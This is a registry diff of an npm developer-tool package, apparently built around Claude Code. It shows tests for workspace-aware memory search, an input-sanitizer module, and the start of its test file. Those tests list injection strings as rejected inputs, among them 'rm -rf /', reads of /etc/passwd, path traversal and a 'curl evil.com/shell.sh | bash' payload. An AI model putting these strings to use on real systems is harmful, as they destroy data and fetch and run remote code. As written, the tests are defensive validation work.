tlc-claude-code 1.8.5 → 2.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/commands/tlc/bootstrap.md +77 -0
- package/.claude/commands/tlc/build.md +20 -6
- package/.claude/commands/tlc/deploy.md +194 -2
- package/.claude/commands/tlc/e2e-verify.md +214 -0
- package/.claude/commands/tlc/guard.md +191 -0
- package/.claude/commands/tlc/help.md +32 -0
- package/.claude/commands/tlc/init.md +73 -37
- package/.claude/commands/tlc/llm.md +19 -4
- package/.claude/commands/tlc/preflight.md +134 -0
- package/.claude/commands/tlc/recall.md +87 -0
- package/.claude/commands/tlc/remember.md +71 -0
- package/.claude/commands/tlc/review.md +17 -4
- package/.claude/commands/tlc/watchci.md +159 -0
- package/.claude/hooks/tlc-block-tools.sh +41 -0
- package/.claude/hooks/tlc-capture-exchange.sh +50 -0
- package/.claude/hooks/tlc-post-build.sh +38 -0
- package/.claude/hooks/tlc-post-push.sh +22 -0
- package/.claude/hooks/tlc-prompt-guard.sh +69 -0
- package/.claude/hooks/tlc-session-init.sh +123 -0
- package/CLAUDE.md +96 -201
- package/bin/install.js +171 -2
- package/bin/postinstall.js +45 -26
- package/dashboard-web/dist/assets/index-CdS5CHqu.css +1 -0
- package/dashboard-web/dist/assets/index-CwNPPVpg.js +483 -0
- package/dashboard-web/dist/assets/index-CwNPPVpg.js.map +1 -0
- package/dashboard-web/dist/index.html +2 -2
- package/docker-compose.dev.yml +18 -12
- package/package.json +3 -1
- package/server/index.js +240 -1
- package/server/lib/bug-writer.js +204 -0
- package/server/lib/bug-writer.test.js +279 -0
- package/server/lib/capture-bridge.js +242 -0
- package/server/lib/capture-bridge.test.js +363 -0
- package/server/lib/capture-guard.js +140 -0
- package/server/lib/capture-guard.test.js +182 -0
- package/server/lib/claude-cascade.js +247 -0
- package/server/lib/claude-cascade.test.js +245 -0
- package/server/lib/command-runner.js +159 -0
- package/server/lib/command-runner.test.js +92 -0
- package/server/lib/context-injection.js +121 -0
- package/server/lib/context-injection.test.js +340 -0
- package/server/lib/conversation-chunker.js +320 -0
- package/server/lib/conversation-chunker.test.js +573 -0
- package/server/lib/deploy/runners/dependency-runner.js +106 -0
- package/server/lib/deploy/runners/dependency-runner.test.js +148 -0
- package/server/lib/deploy/runners/secrets-runner.js +174 -0
- package/server/lib/deploy/runners/secrets-runner.test.js +127 -0
- package/server/lib/deploy/security-gates.js +11 -24
- package/server/lib/deploy/security-gates.test.js +9 -2
- package/server/lib/deploy-engine.js +182 -0
- package/server/lib/deploy-engine.test.js +147 -0
- package/server/lib/docker-api.js +137 -0
- package/server/lib/docker-api.test.js +202 -0
- package/server/lib/docker-client.js +297 -0
- package/server/lib/docker-client.test.js +308 -0
- package/server/lib/embedding-client.js +160 -0
- package/server/lib/embedding-client.test.js +243 -0
- package/server/lib/global-config.js +198 -0
- package/server/lib/global-config.test.js +288 -0
- package/server/lib/inherited-search.js +184 -0
- package/server/lib/inherited-search.test.js +343 -0
- package/server/lib/input-sanitizer.js +86 -0
- package/server/lib/input-sanitizer.test.js +117 -0
- package/server/lib/launchd-agent.js +225 -0
- package/server/lib/launchd-agent.test.js +185 -0
- package/server/lib/memory-api.js +182 -0
- package/server/lib/memory-api.test.js +320 -0
- package/server/lib/memory-bridge-e2e.test.js +160 -0
- package/server/lib/memory-committer.js +18 -4
- package/server/lib/memory-committer.test.js +21 -0
- package/server/lib/memory-hooks-capture.test.js +415 -0
- package/server/lib/memory-hooks-integration.test.js +98 -0
- package/server/lib/memory-hooks.js +139 -0
- package/server/lib/memory-inheritance.js +179 -0
- package/server/lib/memory-inheritance.test.js +360 -0
- package/server/lib/memory-store-adapter.js +105 -0
- package/server/lib/memory-store-adapter.test.js +141 -0
- package/server/lib/memory-wiring-e2e.test.js +93 -0
- package/server/lib/nginx-config.js +114 -0
- package/server/lib/nginx-config.test.js +82 -0
- package/server/lib/ollama-health.js +91 -0
- package/server/lib/ollama-health.test.js +74 -0
- package/server/lib/plan-writer.js +196 -0
- package/server/lib/plan-writer.test.js +298 -0
- package/server/lib/port-guard.js +44 -0
- package/server/lib/port-guard.test.js +65 -0
- package/server/lib/project-scanner.js +302 -0
- package/server/lib/project-scanner.test.js +541 -0
- package/server/lib/project-status.js +302 -0
- package/server/lib/project-status.test.js +470 -0
- package/server/lib/projects-registry.js +237 -0
- package/server/lib/projects-registry.test.js +275 -0
- package/server/lib/recall-command.js +207 -0
- package/server/lib/recall-command.test.js +306 -0
- package/server/lib/remember-command.js +98 -0
- package/server/lib/remember-command.test.js +288 -0
- package/server/lib/rich-capture.js +221 -0
- package/server/lib/rich-capture.test.js +312 -0
- package/server/lib/roadmap-api.js +200 -0
- package/server/lib/roadmap-api.test.js +318 -0
- package/server/lib/security/crypto-utils.test.js +2 -2
- package/server/lib/semantic-recall.js +242 -0
- package/server/lib/semantic-recall.test.js +463 -0
- package/server/lib/setup-generator.js +315 -0
- package/server/lib/setup-generator.test.js +303 -0
- package/server/lib/ssh-client.js +184 -0
- package/server/lib/ssh-client.test.js +127 -0
- package/server/lib/test-inventory.js +112 -0
- package/server/lib/test-inventory.test.js +360 -0
- package/server/lib/vector-indexer.js +246 -0
- package/server/lib/vector-indexer.test.js +459 -0
- package/server/lib/vector-store.js +260 -0
- package/server/lib/vector-store.test.js +706 -0
- package/server/lib/vps-api.js +184 -0
- package/server/lib/vps-api.test.js +208 -0
- package/server/lib/vps-bootstrap.js +124 -0
- package/server/lib/vps-bootstrap.test.js +79 -0
- package/server/lib/vps-monitor.js +126 -0
- package/server/lib/vps-monitor.test.js +98 -0
- package/server/lib/workspace-api.js +992 -0
- package/server/lib/workspace-api.test.js +1217 -0
- package/server/lib/workspace-bootstrap.js +164 -0
- package/server/lib/workspace-bootstrap.test.js +503 -0
- package/server/lib/workspace-context.js +129 -0
- package/server/lib/workspace-context.test.js +214 -0
- package/server/lib/workspace-detector.js +162 -0
- package/server/lib/workspace-detector.test.js +193 -0
- package/server/lib/workspace-init.js +307 -0
- package/server/lib/workspace-init.test.js +244 -0
- package/server/lib/workspace-snapshot.js +236 -0
- package/server/lib/workspace-snapshot.test.js +444 -0
- package/server/lib/workspace-watcher.js +162 -0
- package/server/lib/workspace-watcher.test.js +257 -0
- package/server/package-lock.json +1306 -17
- package/server/package.json +7 -0
- package/dashboard-web/dist/assets/index-B1I_joSL.js +0 -393
- package/dashboard-web/dist/assets/index-B1I_joSL.js.map +0 -1
- package/dashboard-web/dist/assets/index-Trhg1C1Y.css +0 -1
|
@@ -0,0 +1,343 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Inherited Search Tests
|
|
3
|
+
*
|
|
4
|
+
* Tests for inheritance-aware semantic search that wraps semantic-recall
|
|
5
|
+
* to search across project and workspace scopes with score adjustment,
|
|
6
|
+
* deduplication, and auto-widening.
|
|
7
|
+
*
|
|
8
|
+
* @module inherited-search.test
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
import { describe, it, beforeEach, afterEach, expect, vi } from 'vitest';
|
|
12
|
+
import { createInheritedSearch } from './inherited-search.js';
|
|
13
|
+
|
|
14
|
+
/**
|
|
15
|
+
* Creates a mock semantic recall instance with vi.fn() methods.
|
|
16
|
+
* @returns {object} Mock semantic recall
|
|
17
|
+
*/
|
|
18
|
+
function createMockSemanticRecall() {
|
|
19
|
+
return {
|
|
20
|
+
recall: vi.fn().mockResolvedValue([]),
|
|
21
|
+
recallForContext: vi.fn().mockResolvedValue([]),
|
|
22
|
+
};
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
/**
|
|
26
|
+
* Creates a mock workspace detector instance.
|
|
27
|
+
* @returns {object} Mock workspace detector
|
|
28
|
+
*/
|
|
29
|
+
function createMockWorkspaceDetector() {
|
|
30
|
+
return {
|
|
31
|
+
detectWorkspace: vi.fn().mockReturnValue({
|
|
32
|
+
isInWorkspace: true,
|
|
33
|
+
workspaceRoot: '/ws',
|
|
34
|
+
projectPath: '/ws/my-project',
|
|
35
|
+
relativeProjectPath: 'my-project',
|
|
36
|
+
}),
|
|
37
|
+
};
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
/**
|
|
41
|
+
* Creates a mock vector indexer instance.
|
|
42
|
+
* @returns {object} Mock vector indexer
|
|
43
|
+
*/
|
|
44
|
+
function createMockVectorIndexer() {
|
|
45
|
+
return {
|
|
46
|
+
indexAll: vi.fn().mockResolvedValue({ indexed: 0, skipped: 0, errors: 0 }),
|
|
47
|
+
indexFile: vi.fn().mockResolvedValue({ success: true }),
|
|
48
|
+
indexChunk: vi.fn().mockResolvedValue({ success: true }),
|
|
49
|
+
isIndexed: vi.fn().mockResolvedValue(false),
|
|
50
|
+
rebuildIndex: vi.fn().mockResolvedValue(undefined),
|
|
51
|
+
};
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
/**
|
|
55
|
+
* Creates a mock search result.
|
|
56
|
+
* @param {object} overrides - Properties to override
|
|
57
|
+
* @returns {object} Mock search result matching semantic-recall output shape
|
|
58
|
+
*/
|
|
59
|
+
function createResult(overrides = {}) {
|
|
60
|
+
return {
|
|
61
|
+
id: 'mem-1',
|
|
62
|
+
text: 'Some memory text',
|
|
63
|
+
score: 0.85,
|
|
64
|
+
type: 'decision',
|
|
65
|
+
source: {
|
|
66
|
+
project: 'my-project',
|
|
67
|
+
workspace: '/ws/my-project',
|
|
68
|
+
branch: 'main',
|
|
69
|
+
sourceFile: 'decisions/something.md',
|
|
70
|
+
},
|
|
71
|
+
date: Date.now() - 86400000,
|
|
72
|
+
permanent: false,
|
|
73
|
+
...overrides,
|
|
74
|
+
};
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
describe('inherited-search', () => {
|
|
78
|
+
let mockSemanticRecall;
|
|
79
|
+
let mockWorkspaceDetector;
|
|
80
|
+
let mockVectorIndexer;
|
|
81
|
+
let search;
|
|
82
|
+
|
|
83
|
+
beforeEach(() => {
|
|
84
|
+
mockSemanticRecall = createMockSemanticRecall();
|
|
85
|
+
mockWorkspaceDetector = createMockWorkspaceDetector();
|
|
86
|
+
mockVectorIndexer = createMockVectorIndexer();
|
|
87
|
+
search = createInheritedSearch({
|
|
88
|
+
semanticRecall: mockSemanticRecall,
|
|
89
|
+
workspaceDetector: mockWorkspaceDetector,
|
|
90
|
+
vectorIndexer: mockVectorIndexer,
|
|
91
|
+
});
|
|
92
|
+
});
|
|
93
|
+
|
|
94
|
+
afterEach(() => {
|
|
95
|
+
vi.restoreAllMocks();
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
describe('search', () => {
|
|
99
|
+
it('project-scope search returns project memories only', async () => {
|
|
100
|
+
const projectResults = [
|
|
101
|
+
createResult({ id: 'p-1', score: 0.90 }),
|
|
102
|
+
createResult({ id: 'p-2', score: 0.80 }),
|
|
103
|
+
createResult({ id: 'p-3', score: 0.70 }),
|
|
104
|
+
];
|
|
105
|
+
mockSemanticRecall.recall.mockResolvedValue(projectResults);
|
|
106
|
+
|
|
107
|
+
const context = { projectId: 'my-project', workspace: '/ws/my-project' };
|
|
108
|
+
const results = await search.search('query', context, { scope: 'project' });
|
|
109
|
+
|
|
110
|
+
// Should call recall with scope 'project'
|
|
111
|
+
expect(mockSemanticRecall.recall).toHaveBeenCalledWith(
|
|
112
|
+
'query',
|
|
113
|
+
context,
|
|
114
|
+
expect.objectContaining({ scope: 'project' }),
|
|
115
|
+
);
|
|
116
|
+
// Should return project results unmodified (no score adjustment)
|
|
117
|
+
expect(results).toHaveLength(3);
|
|
118
|
+
expect(results[0].id).toBe('p-1');
|
|
119
|
+
expect(results[0].score).toBe(0.90);
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
it('auto-widens to workspace when project returns < 3 results', async () => {
|
|
123
|
+
const projectResults = [
|
|
124
|
+
createResult({ id: 'p-1', score: 0.90 }),
|
|
125
|
+
createResult({ id: 'p-2', score: 0.80 }),
|
|
126
|
+
];
|
|
127
|
+
const workspaceResults = [
|
|
128
|
+
createResult({ id: 'ws-1', score: 0.75 }),
|
|
129
|
+
createResult({ id: 'ws-2', score: 0.65 }),
|
|
130
|
+
createResult({ id: 'ws-3', score: 0.55 }),
|
|
131
|
+
];
|
|
132
|
+
|
|
133
|
+
// First call (project scope) returns < 3 results
|
|
134
|
+
// Second call (workspace scope) returns more results
|
|
135
|
+
mockSemanticRecall.recall
|
|
136
|
+
.mockResolvedValueOnce(projectResults)
|
|
137
|
+
.mockResolvedValueOnce(workspaceResults);
|
|
138
|
+
|
|
139
|
+
const context = { projectId: 'my-project', workspace: '/ws/my-project' };
|
|
140
|
+
const results = await search.search('query', context, { scope: 'project' });
|
|
141
|
+
|
|
142
|
+
// Should have called recall twice: once for project, once for workspace
|
|
143
|
+
expect(mockSemanticRecall.recall).toHaveBeenCalledTimes(2);
|
|
144
|
+
expect(mockSemanticRecall.recall).toHaveBeenNthCalledWith(
|
|
145
|
+
1,
|
|
146
|
+
'query',
|
|
147
|
+
context,
|
|
148
|
+
expect.objectContaining({ scope: 'project' }),
|
|
149
|
+
);
|
|
150
|
+
expect(mockSemanticRecall.recall).toHaveBeenNthCalledWith(
|
|
151
|
+
2,
|
|
152
|
+
'query',
|
|
153
|
+
expect.anything(),
|
|
154
|
+
expect.objectContaining({ scope: 'workspace' }),
|
|
155
|
+
);
|
|
156
|
+
|
|
157
|
+
// Should include both project results (full score) and workspace results (0.8x)
|
|
158
|
+
expect(results.length).toBeGreaterThan(2);
|
|
159
|
+
});
|
|
160
|
+
|
|
161
|
+
it('workspace results scored 0.8x lower than project results', async () => {
|
|
162
|
+
const projectResults = [
|
|
163
|
+
createResult({ id: 'p-1', score: 0.90 }),
|
|
164
|
+
];
|
|
165
|
+
const workspaceResults = [
|
|
166
|
+
createResult({ id: 'ws-1', score: 0.80 }),
|
|
167
|
+
];
|
|
168
|
+
|
|
169
|
+
mockSemanticRecall.recall
|
|
170
|
+
.mockResolvedValueOnce(projectResults)
|
|
171
|
+
.mockResolvedValueOnce(workspaceResults);
|
|
172
|
+
|
|
173
|
+
const context = { projectId: 'my-project', workspace: '/ws/my-project' };
|
|
174
|
+
const results = await search.search('query', context, { scope: 'project' });
|
|
175
|
+
|
|
176
|
+
// Project result keeps original score
|
|
177
|
+
const projectResult = results.find((r) => r.id === 'p-1');
|
|
178
|
+
expect(projectResult.score).toBe(0.90);
|
|
179
|
+
|
|
180
|
+
// Workspace result gets 0.8x multiplier
|
|
181
|
+
const wsResult = results.find((r) => r.id === 'ws-1');
|
|
182
|
+
expect(wsResult.score).toBeCloseTo(0.80 * 0.8, 5);
|
|
183
|
+
});
|
|
184
|
+
|
|
185
|
+
it('explicit inherited scope searches both project and workspace', async () => {
|
|
186
|
+
const projectResults = [
|
|
187
|
+
createResult({ id: 'p-1', score: 0.90 }),
|
|
188
|
+
createResult({ id: 'p-2', score: 0.85 }),
|
|
189
|
+
createResult({ id: 'p-3', score: 0.80 }),
|
|
190
|
+
];
|
|
191
|
+
const workspaceResults = [
|
|
192
|
+
createResult({ id: 'ws-1', score: 0.75 }),
|
|
193
|
+
];
|
|
194
|
+
|
|
195
|
+
mockSemanticRecall.recall
|
|
196
|
+
.mockResolvedValueOnce(projectResults)
|
|
197
|
+
.mockResolvedValueOnce(workspaceResults);
|
|
198
|
+
|
|
199
|
+
const context = { projectId: 'my-project', workspace: '/ws/my-project' };
|
|
200
|
+
const results = await search.search('query', context, { scope: 'inherited' });
|
|
201
|
+
|
|
202
|
+
// Should always call recall twice for inherited scope
|
|
203
|
+
expect(mockSemanticRecall.recall).toHaveBeenCalledTimes(2);
|
|
204
|
+
expect(mockSemanticRecall.recall).toHaveBeenNthCalledWith(
|
|
205
|
+
1,
|
|
206
|
+
'query',
|
|
207
|
+
context,
|
|
208
|
+
expect.objectContaining({ scope: 'project' }),
|
|
209
|
+
);
|
|
210
|
+
expect(mockSemanticRecall.recall).toHaveBeenNthCalledWith(
|
|
211
|
+
2,
|
|
212
|
+
'query',
|
|
213
|
+
expect.anything(),
|
|
214
|
+
expect.objectContaining({ scope: 'workspace' }),
|
|
215
|
+
);
|
|
216
|
+
|
|
217
|
+
// All results should be present (project at full score, workspace at 0.8x)
|
|
218
|
+
expect(results).toHaveLength(4);
|
|
219
|
+
});
|
|
220
|
+
|
|
221
|
+
it('deduplication across scopes keeps higher-scoring entry', async () => {
|
|
222
|
+
// Same id appears in both project (high score) and workspace (lower score after 0.8x)
|
|
223
|
+
const projectResults = [
|
|
224
|
+
createResult({ id: 'shared-1', score: 0.70 }),
|
|
225
|
+
];
|
|
226
|
+
const workspaceResults = [
|
|
227
|
+
createResult({ id: 'shared-1', score: 0.95 }), // after 0.8x = 0.76
|
|
228
|
+
];
|
|
229
|
+
|
|
230
|
+
mockSemanticRecall.recall
|
|
231
|
+
.mockResolvedValueOnce(projectResults)
|
|
232
|
+
.mockResolvedValueOnce(workspaceResults);
|
|
233
|
+
|
|
234
|
+
const context = { projectId: 'my-project', workspace: '/ws/my-project' };
|
|
235
|
+
const results = await search.search('query', context, { scope: 'inherited' });
|
|
236
|
+
|
|
237
|
+
// Should have only one entry for shared-1
|
|
238
|
+
const shared = results.filter((r) => r.id === 'shared-1');
|
|
239
|
+
expect(shared).toHaveLength(1);
|
|
240
|
+
|
|
241
|
+
// Workspace version after 0.8x = 0.76, project version = 0.70
|
|
242
|
+
// The workspace version (0.76) should win because it's higher after multiplier
|
|
243
|
+
expect(shared[0].score).toBeCloseTo(0.95 * 0.8, 5);
|
|
244
|
+
});
|
|
245
|
+
|
|
246
|
+
it('standalone project does not search workspace', async () => {
|
|
247
|
+
// Workspace detector returns standalone (not in workspace)
|
|
248
|
+
mockWorkspaceDetector.detectWorkspace.mockReturnValue({
|
|
249
|
+
isInWorkspace: false,
|
|
250
|
+
workspaceRoot: null,
|
|
251
|
+
projectPath: '/standalone-project',
|
|
252
|
+
relativeProjectPath: null,
|
|
253
|
+
});
|
|
254
|
+
|
|
255
|
+
const projectResults = [
|
|
256
|
+
createResult({ id: 'p-1', score: 0.90 }),
|
|
257
|
+
];
|
|
258
|
+
mockSemanticRecall.recall.mockResolvedValue(projectResults);
|
|
259
|
+
|
|
260
|
+
const context = { projectId: 'my-project', workspace: '/standalone-project' };
|
|
261
|
+
const results = await search.search('query', context, { scope: 'inherited' });
|
|
262
|
+
|
|
263
|
+
// For standalone projects, should only call recall once (project scope only)
|
|
264
|
+
expect(mockSemanticRecall.recall).toHaveBeenCalledTimes(1);
|
|
265
|
+
expect(results).toHaveLength(1);
|
|
266
|
+
expect(results[0].id).toBe('p-1');
|
|
267
|
+
});
|
|
268
|
+
|
|
269
|
+
it('combined ranking sorts correctly across scopes', async () => {
|
|
270
|
+
const projectResults = [
|
|
271
|
+
createResult({ id: 'p-1', score: 0.60 }),
|
|
272
|
+
createResult({ id: 'p-2', score: 0.50 }),
|
|
273
|
+
];
|
|
274
|
+
const workspaceResults = [
|
|
275
|
+
createResult({ id: 'ws-1', score: 0.90 }), // after 0.8x = 0.72
|
|
276
|
+
createResult({ id: 'ws-2', score: 0.70 }), // after 0.8x = 0.56
|
|
277
|
+
];
|
|
278
|
+
|
|
279
|
+
mockSemanticRecall.recall
|
|
280
|
+
.mockResolvedValueOnce(projectResults)
|
|
281
|
+
.mockResolvedValueOnce(workspaceResults);
|
|
282
|
+
|
|
283
|
+
const context = { projectId: 'my-project', workspace: '/ws/my-project' };
|
|
284
|
+
const results = await search.search('query', context, { scope: 'inherited' });
|
|
285
|
+
|
|
286
|
+
// Expected order: ws-1(0.72), p-1(0.60), ws-2(0.56), p-2(0.50)
|
|
287
|
+
expect(results).toHaveLength(4);
|
|
288
|
+
for (let i = 0; i < results.length - 1; i++) {
|
|
289
|
+
expect(results[i].score).toBeGreaterThanOrEqual(results[i + 1].score);
|
|
290
|
+
}
|
|
291
|
+
expect(results[0].id).toBe('ws-1');
|
|
292
|
+
expect(results[1].id).toBe('p-1');
|
|
293
|
+
expect(results[2].id).toBe('ws-2');
|
|
294
|
+
expect(results[3].id).toBe('p-2');
|
|
295
|
+
});
|
|
296
|
+
|
|
297
|
+
it('returns empty when no results from any scope', async () => {
|
|
298
|
+
mockSemanticRecall.recall.mockResolvedValue([]);
|
|
299
|
+
|
|
300
|
+
const context = { projectId: 'my-project', workspace: '/ws/my-project' };
|
|
301
|
+
const results = await search.search('query', context, { scope: 'inherited' });
|
|
302
|
+
|
|
303
|
+
expect(results).toEqual([]);
|
|
304
|
+
});
|
|
305
|
+
});
|
|
306
|
+
|
|
307
|
+
describe('indexAll', () => {
|
|
308
|
+
it('processes workspace memory path when in workspace', async () => {
|
|
309
|
+
mockWorkspaceDetector.detectWorkspace.mockReturnValue({
|
|
310
|
+
isInWorkspace: true,
|
|
311
|
+
workspaceRoot: '/ws',
|
|
312
|
+
projectPath: '/ws/my-project',
|
|
313
|
+
relativeProjectPath: 'my-project',
|
|
314
|
+
});
|
|
315
|
+
|
|
316
|
+
mockVectorIndexer.indexAll.mockResolvedValue({ indexed: 5, skipped: 0, errors: 0 });
|
|
317
|
+
|
|
318
|
+
const result = await search.indexAll('/ws/my-project');
|
|
319
|
+
|
|
320
|
+
// Should index both the project path and the workspace root
|
|
321
|
+
expect(mockVectorIndexer.indexAll).toHaveBeenCalledTimes(2);
|
|
322
|
+
expect(mockVectorIndexer.indexAll).toHaveBeenCalledWith('/ws/my-project');
|
|
323
|
+
expect(mockVectorIndexer.indexAll).toHaveBeenCalledWith('/ws');
|
|
324
|
+
});
|
|
325
|
+
|
|
326
|
+
it('processes only project path for standalone', async () => {
|
|
327
|
+
mockWorkspaceDetector.detectWorkspace.mockReturnValue({
|
|
328
|
+
isInWorkspace: false,
|
|
329
|
+
workspaceRoot: null,
|
|
330
|
+
projectPath: '/standalone-project',
|
|
331
|
+
relativeProjectPath: null,
|
|
332
|
+
});
|
|
333
|
+
|
|
334
|
+
mockVectorIndexer.indexAll.mockResolvedValue({ indexed: 3, skipped: 0, errors: 0 });
|
|
335
|
+
|
|
336
|
+
const result = await search.indexAll('/standalone-project');
|
|
337
|
+
|
|
338
|
+
// Should only index the project path (no workspace)
|
|
339
|
+
expect(mockVectorIndexer.indexAll).toHaveBeenCalledTimes(1);
|
|
340
|
+
expect(mockVectorIndexer.indexAll).toHaveBeenCalledWith('/standalone-project');
|
|
341
|
+
});
|
|
342
|
+
});
|
|
343
|
+
});
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Input Sanitizer — validation for user-supplied values used in shell commands
|
|
3
|
+
* Phase 80 Review Fix
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
/** Strict DNS hostname pattern */
|
|
7
|
+
const DOMAIN_RE = /^[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/i;
|
|
8
|
+
|
|
9
|
+
/** Safe git branch pattern (allows slashes, dots, dashes, underscores) */
|
|
10
|
+
const BRANCH_RE = /^[a-zA-Z0-9._\/-]+$/;
|
|
11
|
+
|
|
12
|
+
/** Safe git repo URL pattern (git@... or https://...) */
|
|
13
|
+
const REPO_URL_RE = /^(git@[\w.-]+:[\w./-]+\.git|https?:\/\/[\w.-]+(\/[\w./-]+)*(\.git)?)$/;
|
|
14
|
+
|
|
15
|
+
/** Safe unix username pattern */
|
|
16
|
+
const USERNAME_RE = /^[a-z_][a-z0-9_-]*$/;
|
|
17
|
+
|
|
18
|
+
/** Safe project name pattern */
|
|
19
|
+
const PROJECT_NAME_RE = /^[a-zA-Z0-9._-]+$/;
|
|
20
|
+
|
|
21
|
+
/**
|
|
22
|
+
* Validate a DNS hostname/domain
|
|
23
|
+
* @param {string} domain
|
|
24
|
+
* @returns {boolean}
|
|
25
|
+
*/
|
|
26
|
+
function isValidDomain(domain) {
|
|
27
|
+
if (!domain || typeof domain !== 'string') return false;
|
|
28
|
+
if (domain.length > 253) return false;
|
|
29
|
+
return DOMAIN_RE.test(domain);
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
/**
|
|
33
|
+
* Validate a git branch name
|
|
34
|
+
* @param {string} branch
|
|
35
|
+
* @returns {boolean}
|
|
36
|
+
*/
|
|
37
|
+
function isValidBranch(branch) {
|
|
38
|
+
if (!branch || typeof branch !== 'string') return false;
|
|
39
|
+
if (branch.length > 255) return false;
|
|
40
|
+
if (branch.includes('..')) return false;
|
|
41
|
+
return BRANCH_RE.test(branch);
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
/**
|
|
45
|
+
* Validate a git repo URL
|
|
46
|
+
* @param {string} url
|
|
47
|
+
* @returns {boolean}
|
|
48
|
+
*/
|
|
49
|
+
function isValidRepoUrl(url) {
|
|
50
|
+
if (!url || typeof url !== 'string') return false;
|
|
51
|
+
return REPO_URL_RE.test(url);
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
/**
|
|
55
|
+
* Validate a unix username
|
|
56
|
+
* @param {string} username
|
|
57
|
+
* @returns {boolean}
|
|
58
|
+
*/
|
|
59
|
+
function isValidUsername(username) {
|
|
60
|
+
if (!username || typeof username !== 'string') return false;
|
|
61
|
+
if (username.length > 32) return false;
|
|
62
|
+
return USERNAME_RE.test(username);
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
/**
|
|
66
|
+
* Validate a project name (used in file paths)
|
|
67
|
+
* @param {string} name
|
|
68
|
+
* @returns {boolean}
|
|
69
|
+
*/
|
|
70
|
+
function isValidProjectName(name) {
|
|
71
|
+
if (!name || typeof name !== 'string') return false;
|
|
72
|
+
if (name.length > 128) return false;
|
|
73
|
+
if (name.includes('..') || name.includes('/')) return false;
|
|
74
|
+
return PROJECT_NAME_RE.test(name);
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
module.exports = {
|
|
78
|
+
isValidDomain,
|
|
79
|
+
isValidBranch,
|
|
80
|
+
isValidRepoUrl,
|
|
81
|
+
isValidUsername,
|
|
82
|
+
isValidProjectName,
|
|
83
|
+
DOMAIN_RE,
|
|
84
|
+
BRANCH_RE,
|
|
85
|
+
REPO_URL_RE,
|
|
86
|
+
};
|
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
import { describe, it, expect } from 'vitest';
|
|
2
|
+
|
|
3
|
+
const { isValidDomain, isValidBranch, isValidRepoUrl, isValidUsername, isValidProjectName } = await import('./input-sanitizer.js');
|
|
4
|
+
|
|
5
|
+
describe('Input Sanitizer', () => {
|
|
6
|
+
describe('isValidDomain', () => {
|
|
7
|
+
it('accepts valid domains', () => {
|
|
8
|
+
expect(isValidDomain('example.com')).toBe(true);
|
|
9
|
+
expect(isValidDomain('myapp.dev')).toBe(true);
|
|
10
|
+
expect(isValidDomain('sub.domain.example.com')).toBe(true);
|
|
11
|
+
expect(isValidDomain('a.io')).toBe(true);
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
it('rejects domains with shell metacharacters', () => {
|
|
15
|
+
expect(isValidDomain('example.com; rm -rf /')).toBe(false);
|
|
16
|
+
expect(isValidDomain('example.com`whoami`')).toBe(false);
|
|
17
|
+
expect(isValidDomain('example.com$(cat /etc/passwd)')).toBe(false);
|
|
18
|
+
expect(isValidDomain('example.com | curl evil.com')).toBe(false);
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
it('rejects nginx injection attempts', () => {
|
|
22
|
+
expect(isValidDomain('myapp.dev; include /etc/passwd;')).toBe(false);
|
|
23
|
+
expect(isValidDomain('myapp.dev\nserver_name evil.com')).toBe(false);
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
it('rejects empty/null/undefined', () => {
|
|
27
|
+
expect(isValidDomain('')).toBe(false);
|
|
28
|
+
expect(isValidDomain(null)).toBe(false);
|
|
29
|
+
expect(isValidDomain(undefined)).toBe(false);
|
|
30
|
+
});
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
describe('isValidBranch', () => {
|
|
34
|
+
it('accepts valid branch names', () => {
|
|
35
|
+
expect(isValidBranch('main')).toBe(true);
|
|
36
|
+
expect(isValidBranch('feature/login')).toBe(true);
|
|
37
|
+
expect(isValidBranch('fix-bug-123')).toBe(true);
|
|
38
|
+
expect(isValidBranch('release/v1.0.0')).toBe(true);
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
it('rejects branches with shell metacharacters', () => {
|
|
42
|
+
expect(isValidBranch('main; rm -rf /')).toBe(false);
|
|
43
|
+
expect(isValidBranch('main`whoami`')).toBe(false);
|
|
44
|
+
expect(isValidBranch('main$(cat /etc/passwd)')).toBe(false);
|
|
45
|
+
expect(isValidBranch('main | curl evil.com')).toBe(false);
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
it('rejects path traversal', () => {
|
|
49
|
+
expect(isValidBranch('../../../etc/passwd')).toBe(false);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
it('rejects empty/null', () => {
|
|
53
|
+
expect(isValidBranch('')).toBe(false);
|
|
54
|
+
expect(isValidBranch(null)).toBe(false);
|
|
55
|
+
});
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
describe('isValidRepoUrl', () => {
|
|
59
|
+
it('accepts valid git URLs', () => {
|
|
60
|
+
expect(isValidRepoUrl('git@github.com:user/repo.git')).toBe(true);
|
|
61
|
+
expect(isValidRepoUrl('https://github.com/user/repo.git')).toBe(true);
|
|
62
|
+
expect(isValidRepoUrl('https://github.com/user/repo')).toBe(true);
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
it('rejects injection attempts', () => {
|
|
66
|
+
expect(isValidRepoUrl('; curl evil.com/shell.sh | bash;')).toBe(false);
|
|
67
|
+
